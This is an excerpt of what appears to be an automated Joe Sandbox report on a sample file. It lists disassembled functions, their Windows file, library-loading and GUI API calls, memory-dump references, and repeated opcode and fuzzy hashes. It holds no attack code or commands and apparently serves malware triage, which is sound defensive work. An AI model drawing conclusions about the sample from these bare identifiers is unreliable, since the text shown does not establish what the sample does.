                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog$_wcslen
                                                                        • String ID:
                                                                        • API String ID: 2838827086-0
                                                                        • Opcode ID: a2d32fbd02bd347dfaa923bc7ebc5b148dedc353dbbdb85dc27f4048210f67f0
                                                                        • Instruction ID: d69e4d84901bc8789a4f744572bdd065a3b19547bb4884ea64b25e4c3e7a2d25
                                                                        • Opcode Fuzzy Hash: a2d32fbd02bd347dfaa923bc7ebc5b148dedc353dbbdb85dc27f4048210f67f0
                                                                        • Instruction Fuzzy Hash: 05313671954249AACF15DF9AC955AEEFBF6AF08304F50006AF845A7291CB325E20CF60
                                                                        Function 002E9DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • FlushFileBuffers.KERNEL32(?,?,?,?,?,?,002E73BC,?,?,?,00000000), ref: 002E9DBC
                                                                        • SetFileTime.KERNELBASE(?,?,?,?), ref: 002E9E70
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$BuffersFlushTime
                                                                        • String ID:
                                                                        • API String ID: 1392018926-0
                                                                        • Opcode ID: 222fef3a585d5d0bf2c7253a7d229edaf3db48734aadbf479373ce82e408526e
                                                                        • Instruction ID: 08c94e73ed2b8b34e23e1683060a4875ab09afd92ad633b722ddac3f9549cd32
                                                                        • Opcode Fuzzy Hash: 222fef3a585d5d0bf2c7253a7d229edaf3db48734aadbf479373ce82e408526e
                                                                        • Instruction Fuzzy Hash: 2F2104312A8296DFC714DF36C891AABBBE8AF95304F88495EF4C583141D328D96CCB61
                                                                        Function 002E966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,002E9F27,?,?,002E771A), ref: 002E96E6
                                                                        • CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,002E9F27,?,?,002E771A), ref: 002E9716
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CreateFile
                                                                        • String ID:
                                                                        • API String ID: 823142352-0
                                                                        • Opcode ID: 3a835781d6e4866d4aced33329e5ec54da3cf066a7ad7672d3e5276fa1d92a55
                                                                        • Instruction ID: 9c1a08a6d1f4ea91e6830152282d8f8d4d4e8d37b56a3e87641e58e9a21c7f33
                                                                        • Opcode Fuzzy Hash: 3a835781d6e4866d4aced33329e5ec54da3cf066a7ad7672d3e5276fa1d92a55
                                                                        • Instruction Fuzzy Hash: 4521E2710543846EE3308E66CC89BF7B7DCEB49324F800A1AFA95C21D1C374A8948A31
                                                                        Function 002E9E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 002E9EC7
                                                                        • GetLastError.KERNEL32 ref: 002E9ED4
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorFileLastPointer
                                                                        • String ID:
                                                                        • API String ID: 2976181284-0
                                                                        • Opcode ID: 884e4b49ffe1a3646a3ed7530a48c8fdf95b7216e0398969c8802bec224a19df
                                                                        • Instruction ID: 1100f28f179b5c0b47c892368df82780623e4d2b01f6d6e649d3602707b01c19
                                                                        • Opcode Fuzzy Hash: 884e4b49ffe1a3646a3ed7530a48c8fdf95b7216e0398969c8802bec224a19df
                                                                        • Instruction Fuzzy Hash: 0811E9306A0741ABD735CA26CC44BA6B7E8AB48360FD4462BE253D25D0D7B0ED95C760
                                                                        Function 00308E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _free.LIBCMT ref: 00308E75
                                                                          • Part of subcall function 00308E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0030CA2C,00000000,?,00306CBE,?,00000008,?,003091E0,?,?,?), ref: 00308E38
                                                                        • HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00321098,002E17CE,?,?,00000007,?,?,?,002E13D6,?,00000000), ref: 00308EB1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Heap$AllocAllocate_free
                                                                        • String ID:
                                                                        • API String ID: 2447670028-0
                                                                        • Opcode ID: 86991369840997b96e37f911a664e8cd5eea915bc637ef1614957ba8e6a1ecb3
                                                                        • Instruction ID: f78bd675c87e9d9b5641da854d2c4b10be43c2ba86a264477309ab6ea0708925
                                                                        • Opcode Fuzzy Hash: 86991369840997b96e37f911a664e8cd5eea915bc637ef1614957ba8e6a1ecb3
                                                                        • Instruction Fuzzy Hash: 64F0C232603106A6DB232B25DC24BAF376C8F81BB0F264526F9D8AA1D1DF709D01C1A0
                                                                        Function 002F109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetCurrentProcess.KERNEL32(?,?), ref: 002F10AB
                                                                        • GetProcessAffinityMask.KERNEL32(00000000), ref: 002F10B2
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Process$AffinityCurrentMask
                                                                        • String ID:
                                                                        • API String ID: 1231390398-0
                                                                        • Opcode ID: 77e32a482794cd19a80ce9b2b4869c8fe9fa0a67bcc69be5350ce6b6cd76d6fc
                                                                        • Instruction ID: 966e28c63498e584b587be1d86f0020475fa86b94107ca538e39c97ca77f0973
                                                                        • Opcode Fuzzy Hash: 77e32a482794cd19a80ce9b2b4869c8fe9fa0a67bcc69be5350ce6b6cd76d6fc
                                                                        • Instruction Fuzzy Hash: A7E09232B2014AE7CF0D8BA49C059FBB2DDEA482847108179EA03D3101FD30DE554660
                                                                        Function 002EA4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA501
                                                                          • Part of subcall function 002EBB03: _wcslen.LIBCMT ref: 002EBB27
                                                                        • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA532
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AttributesFile$_wcslen
                                                                        • String ID:
                                                                        • API String ID: 2673547680-0
                                                                        • Opcode ID: a34c562fc40cee97e70a9a52e5ec76fc5870147a879c332a7ff7313dad3c99e4
                                                                        • Instruction ID: 5048dd8fb0715d2d241b726769b35748b0417f6fb5860b4c1454dd81bf7d40f3
                                                                        • Opcode Fuzzy Hash: a34c562fc40cee97e70a9a52e5ec76fc5870147a879c332a7ff7313dad3c99e4
                                                                        • Instruction Fuzzy Hash: 89F0303125024ABBDF025F61DC45FDA3BADAF08385F848061B945D5164DB71DAA8DA50
                                                                        Function 002EA1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • DeleteFileW.KERNELBASE(000000FF,?,?,002E977F,?,?,002E95CF,?,?,?,?,?,00312641,000000FF), ref: 002EA1F1
                                                                          • Part of subcall function 002EBB03: _wcslen.LIBCMT ref: 002EBB27
                                                                        • DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,002E977F,?,?,002E95CF,?,?,?,?,?,00312641), ref: 002EA21F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DeleteFile$_wcslen
                                                                        • String ID:
                                                                        • API String ID: 2643169976-0
                                                                        • Opcode ID: 63a7d8f5c87b9d1dd473167d724e623e25b408bdf01b3299f2ae09e2dfd0c464
                                                                        • Instruction ID: 1fb71cca8f94797db98956020e35fbff866645b746fe6dee4a16fbd038492d0d
                                                                        • Opcode Fuzzy Hash: 63a7d8f5c87b9d1dd473167d724e623e25b408bdf01b3299f2ae09e2dfd0c464
                                                                        • Instruction Fuzzy Hash: F7E092311902496BDB025F61DC45FEA379CAB0C3C5F884021BE49E2060EB61DEA4DA60
                                                                        Function 002FAC7C Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GdiplusShutdown.GDIPLUS(?,?,?,?,00312641,000000FF), ref: 002FACB0
                                                                        • OleUninitialize.OLE32(?,?,?,?,00312641,000000FF), ref: 002FACB5
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: GdiplusShutdownUninitialize
                                                                        • String ID:
                                                                        • API String ID: 3856339756-0
                                                                        • Opcode ID: 1f6e7818e82d92aac22ac40c89b1df113187c87744f6744f31ec2c0a9fe9cd93
                                                                        • Instruction ID: 89760ed0d35831b31946362819254a52b539fdfac217bb4b2a4667a952f47b3b
                                                                        • Opcode Fuzzy Hash: 1f6e7818e82d92aac22ac40c89b1df113187c87744f6744f31ec2c0a9fe9cd93
                                                                        • Instruction Fuzzy Hash: 81E06572604650EFCB12AB59DC06B45FBACFB88B20F104269F416D37A0CB746841CA90
                                                                        Function 002EA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetFileAttributesW.KERNELBASE(?,?,?,002EA23A,?,002E755C,?,?,?,?), ref: 002EA254
                                                                          • Part of subcall function 002EBB03: _wcslen.LIBCMT ref: 002EBB27
                                                                        • GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,002EA23A,?,002E755C,?,?,?,?), ref: 002EA280
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AttributesFile$_wcslen
                                                                        • String ID:
                                                                        • API String ID: 2673547680-0
                                                                        • Opcode ID: b2fcfa66f6c05e3b67665e16def11745275503c82dc2808b5737f7241b137e65
                                                                        • Instruction ID: 833db11870468d620e884db66d87d38743cd2b047f76920c15ca76b37a1f6e5c
                                                                        • Opcode Fuzzy Hash: b2fcfa66f6c05e3b67665e16def11745275503c82dc2808b5737f7241b137e65
                                                                        • Instruction Fuzzy Hash: CAE092715501689BCF12AB64CC05BD9B79CAB0C3E1F444261FE45E3290D770DE54CAA0
                                                                        Function 002FDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _swprintf.LIBCMT ref: 002FDEEC
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • SetDlgItemTextW.USER32(00000065,?), ref: 002FDF03
                                                                          • Part of subcall function 002FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 002FB579
                                                                          • Part of subcall function 002FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FB58A
                                                                          • Part of subcall function 002FB568: IsDialogMessageW.USER32(000103DA,?), ref: 002FB59E
                                                                          • Part of subcall function 002FB568: TranslateMessage.USER32(?), ref: 002FB5AC
                                                                          • Part of subcall function 002FB568: DispatchMessageW.USER32(?), ref: 002FB5B6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
                                                                        • String ID:
                                                                        • API String ID: 2718869927-0
                                                                        • Opcode ID: 70f3b24fd08b31e4b7d7229423404a4c6c860f3e5833accbd80ad2c3cdeb7b84
                                                                        • Instruction ID: b460804b3fb292b00a30f5313a96b5c77ed30d5ebe83b8b5cd6a5cf44bde8016
                                                                        • Opcode Fuzzy Hash: 70f3b24fd08b31e4b7d7229423404a4c6c860f3e5833accbd80ad2c3cdeb7b84
                                                                        • Instruction Fuzzy Hash: 7DE09B7541138826DF13B761DC06FAE376C5B157C5F440465B304DB0B2DD78E6218E61
                                                                        Function 002F081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetSystemDirectoryW.KERNEL32(?,00000800), ref: 002F0836
                                                                        • LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,002EF2D8,Crypt32.dll,00000000,002EF35C,?,?,002EF33E,?,?,?), ref: 002F0858
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DirectoryLibraryLoadSystem
                                                                        • String ID:
                                                                        • API String ID: 1175261203-0
                                                                        • Opcode ID: fd140245481b347061231557f5bf3d9e9503bfd3789440cc521326c923261277
                                                                        • Instruction ID: cb60ab0bffe607dbec30d967a1ec9d454f5b3fb54986efd3495b0ab405401408
                                                                        • Opcode Fuzzy Hash: fd140245481b347061231557f5bf3d9e9503bfd3789440cc521326c923261277
                                                                        • Instruction Fuzzy Hash: 27E092724101186ACB02AB919C08FEA7BACEF0C3D1F0400657605E2104D674DA848AA0
                                                                        Function 002FA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 002FA3DA
                                                                        • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 002FA3E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: BitmapCreateFromGdipStream
                                                                        • String ID:
                                                                        • API String ID: 1918208029-0
                                                                        • Opcode ID: 1baa2e81bdc149bd3ad8dd4537ed28e7120acd85804ca5ad11552e0cd504cb95
                                                                        • Instruction ID: 289d5ea13fbaa156d695e3f6946b447465dcb0632bf4bd8a80ca498a68411f5d
                                                                        • Opcode Fuzzy Hash: 1baa2e81bdc149bd3ad8dd4537ed28e7120acd85804ca5ad11552e0cd504cb95
                                                                        • Instruction Fuzzy Hash: F2E06DB151021CEBCB11DF45C4406A9FBE8EF043A4F10806AA98A93200E3B4AE14DB91
                                                                        Function 00302B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00302BAA
                                                                        • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00302BB5
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Value___vcrt____vcrt_uninitialize_ptd
                                                                        • String ID:
                                                                        • API String ID: 1660781231-0
                                                                        • Opcode ID: 9b7667a967676695e8ea4b94ccd8f36e9510ae731b0c2198a45e124c3421e9b1
                                                                        • Instruction ID: 9e0054cd3e2fa79110d525c63a50c7c240323ab75242b06d8f2eea0ee6a442c2
                                                                        • Opcode Fuzzy Hash: 9b7667a967676695e8ea4b94ccd8f36e9510ae731b0c2198a45e124c3421e9b1
                                                                        • Instruction Fuzzy Hash: D7D0223425730018EC176EB42C3F5DB3B8DAD41BB0FE1428AF420DD8C1EE919080A311
                                                                        Function 002E12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemShowWindow
                                                                        • String ID:
                                                                        • API String ID: 3351165006-0
                                                                        • Opcode ID: a089a17ddd4e4234eb9a5867a7f0e9ae8a60cb1ba968d3282d1dcde2fd7956f4
                                                                        • Instruction ID: ee4908d04a5fe73f5f907ad4b61bf39a43888eda42f0b71b9ce1ec0aab9ac6f1
                                                                        • Opcode Fuzzy Hash: a089a17ddd4e4234eb9a5867a7f0e9ae8a60cb1ba968d3282d1dcde2fd7956f4
                                                                        • Instruction Fuzzy Hash: E0C0123A09C240BFCB022BB4DC09C2BBBACABA6312F04C908B0A5C2070CA38C110DB11
                                                                        Function 002E1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
